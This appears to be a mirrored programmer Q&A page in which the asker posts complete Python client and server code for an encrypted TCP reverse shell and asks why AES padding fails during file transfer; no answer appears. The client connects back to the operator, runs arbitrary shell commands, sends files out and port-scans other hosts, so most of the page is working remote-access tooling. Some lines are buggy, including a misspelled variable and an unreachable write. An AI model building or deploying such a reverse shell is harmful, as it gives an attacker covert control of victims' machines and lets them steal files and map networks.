繁体   English   中英

通过 TCP 进行 AES 加密文件传输 - 填充问题

[英]AES encrypted File transfer over TCP - Padding Issue

我在使用 AES(传输函数)通过 TCP 反向 shell 传输文件时遇到问题,这样做时卡在填充问题上。 我尝试在网上寻找解决方案,但我似乎找不到有用的东西(或者我可能只是遗漏了一些东西......)

所有其他 function 似乎工作正常。

客户端

import os
import socket
import subprocess
import sys
from Cryptodome.Cipher import PKCS1_OAEP
from Cryptodome.PublicKey import RSA
from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding


SERVER_IP = "ip"
PORT = 8080
IV = b"H" * 16
privatekey = privatekey


def AESFunc(data):
    privateKeyAfterImport = RSA.importKey(privatekey)
    decryptoMe = PKCS1_OAEP.new(privateKeyAfterImport)
    return decryptoMe.decrypt(data).decode()


def encrypt(message):
    encryptor = AES.new(AES_KEY, AES.MODE_CBC, IV)
    padded_message = Padding.pad(message, 16)
    encrypted_message = encryptor.encrypt(padded_message)
    return encrypted_message


def decrypt(data):
    decryptor = AES.new(AES_KEY, AES.MODE_CBC, IV)
    decrypted_padded_message = decryptor.decrypt(data)
    decrypted_message = Padding.unpad(decrypted_padded_message, 16)
    return decrypted_message


def transfer(s, path):
    if os.path.exists(path):
        f = open(path, 'rb')
        packet = f.read(1024)
        while packet != '':
            try:
                s.send(encrypt(packet))
                packet = f.read(1024)
            except Exception as e:
                print(e)
                break
        done = 'DONE'.encode()
        s.send(encrypt(done))
        f.close()


def scanner(s, ip, ports, scan_type):
    if scan_type == 1:
        for port in range(1, ports):
            try:
                sock =  socket.socket()
                output = sock.connect_ex((ip, int(port)))
                scan_result = '' 
                if output == 0:
                    scan_result += f"[+] Port {port} is opened"
                    result = scan_result.encode()
                    s.send(encrypt(result))
                    sock.close()
            except Exception as e:
                pass
        result = 'DONE'.encode()
        s.send(encrypt(result))
    else:
        for port in ports.split(','):
            try:
                sock =  socket.socket()
                output = sock.connect_ex((ip, int(port)))
                if ouhetput == 0:
                    scan_result = scan_result + f"[+] Port {port} is opened"
                else:
                    scan_result = scan_result + f"[-] Port {port} is closed"
                    sock.close()
            except Exception as e:
                pass
        result = scan_result.encode()
        s.send(encrypt(result))


def connect():
    s = socket.socket()
    s.connect((SERVER_IP, PORT))
    global AES_KEY
    AES_KEY = s.recv(1024)
    AES_KEY = AESFunc(AES_KEY)
    AES_KEY = AES_KEY.encode()
    #print(AES_KEY)

    while True:
        command = s.recv(1024)
        command = decrypt(command)
        command = command.decode()
        #print(command)
        if 'exit' in command:
            s.close()
            break

        elif 'get' in command:
            get, path = command.split(' ')
            try:
                transfer(s, path)
            except:
                result = str(e).encode()
                s.send(encrypt(result))
                pass

        elif 'cd' in command:
            try:
                cwd = os.getcwd()
                code, directory = command.split(' ')
                os.chdir(directory)
                result = ('[+] CWD is ' + os.getcwd()).encode()
                s.send(encrypt(result))
            except ValueError as e:
                result = ("[!] Something wrong with specified directory".encode())
                s.send(encrypt(result))
                os.chdir(cwd)
            except Exception as e:
                result = ("[!] Something wrong with specified directory".encode())
                s.send(encrypt(result))

        elif 'scan' in command:
            command = command[5:]
            if ':' not in command:
                ip = command
                ports = 10
                scanner(s, ip, ports, 1)
            else:
                ip, ports = command.split(':')
                scanner(s, ip, ports, 0)

        else:
            CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
            result_out = CMD.stdout.read()
            result_err = CMD.stderr.read()
            if result_err.decode() != "":
                s.send(encrypt(result_err))
            else:
                s.send(encrypt(result_out))


def main():
    connect()


main()

服务器端

import os
import socket
from Cryptodome.PublicKey import RSA
from Cryptodome.Cipher import PKCS1_OAEP
from Cryptodome.Cipher import AES
from Cryptodome.Util import Padding
import string
import random


TARGET_IP = '0.0.0.0'
PORT = 8080
server_user = user
publicKey = publickey

IV = b"H" * 16
key = ''.join(random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits + '^!\$%&/()=?{[]}+~#-_.:,;<>|\\') for i in range(0, 32))


def AESFunc(message):
    publicKeyAfterImport = RSA.importKey(publicKey)
    encryptoMe = PKCS1_OAEP.new(publicKeyAfterImport)
    encryptedData = encryptoMe.encrypt(message)
    return encryptedData


def encrypt(message):
    encryptor = AES.new(key.encode(), AES.MODE_CBC, IV)
    padded_message = Padding.pad(message, 16)
    encrypted_message = encryptor.encrypt(padded_message)
    return encrypted_message


def decrypt(data):
    decryptor = AES.new(key.encode(), AES.MODE_CBC, IV)
    decrypted_padded_message = decryptor.decrypt(data)
    decrypted_message = Padding.unpad(decrypted_padded_message, 16)
    return decrypted_message


def transfer(conn, command):
    print(command)
    send_command = encrypt(command.encode())
    conn.send(send_command)
    get, path = command.split(" ")
    f = open(f'/home/{server_user}/Desktop/' + path, 'wb')
    while True:
        bits = conn.recv(1024)
        try:
            bits = decrypt(bits)
            if bits.endswith('DONE'.encode()):
                f.write(bits[:-4])
                f.close()
                print('[+] Transfer completed')
                break
            elif 'File not found'.encode() in bits:
                print('[-] File not found')
                break
                f.write(bits)
        except Exception as e:
            print(e)
            print("[-] unable to decrypt/receive data!")
            break


def connect():
    s = socket.socket()
    s.bind((TARGET_IP, PORT))
    s.listen(1)
    print(f'[+] Listening for TCP connection on port {PORT}')

    conn, addr = s.accept()
    print('[+] We got a connection from', addr)
    conn.send(AESFunc(key.encode()))

    while True:
        command = input("Shell> ")
        if 'exit' in command:
            exit = 'exit'.encode()
            conn.send(exit)
            break
        elif 'get' in command:
            transfer(conn, command)
        elif command == "":
            pass
        elif ('scan' in command) and (':' not in command):
            scan = command.encode()
            conn.send(encrypt(scan))
            print('Scanning target...')
            while True:
                bits = conn.recv(1024)
                try:
                    bits = decrypt(bits)
                    if bits == ('DONE'.encode()):
                        break
                    else:
                        print(bits.decode())
                except Exception as e:
                    print(e)
                    print("[-] unable to decrypt/receive data!")
        elif 'help' in command:
            print("""
Options:
    help    Show this message.
    exit    exits the scripts.
    get     download a file to the host.
                """)
        else:
            command = encrypt(command.encode())
            conn.send(command)
            result = conn.recv(1024)
            try:
                print(decrypt(result).decode())
            except Exception as e:
                print(e)
                print("[-] unable to decrypt/receive data!")


def main():
    connect()


main()

传输文件时,我在服务器端遇到以下错误:

Padding is incorrect.
[-] unable to decrypt/receive data!

谢谢。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM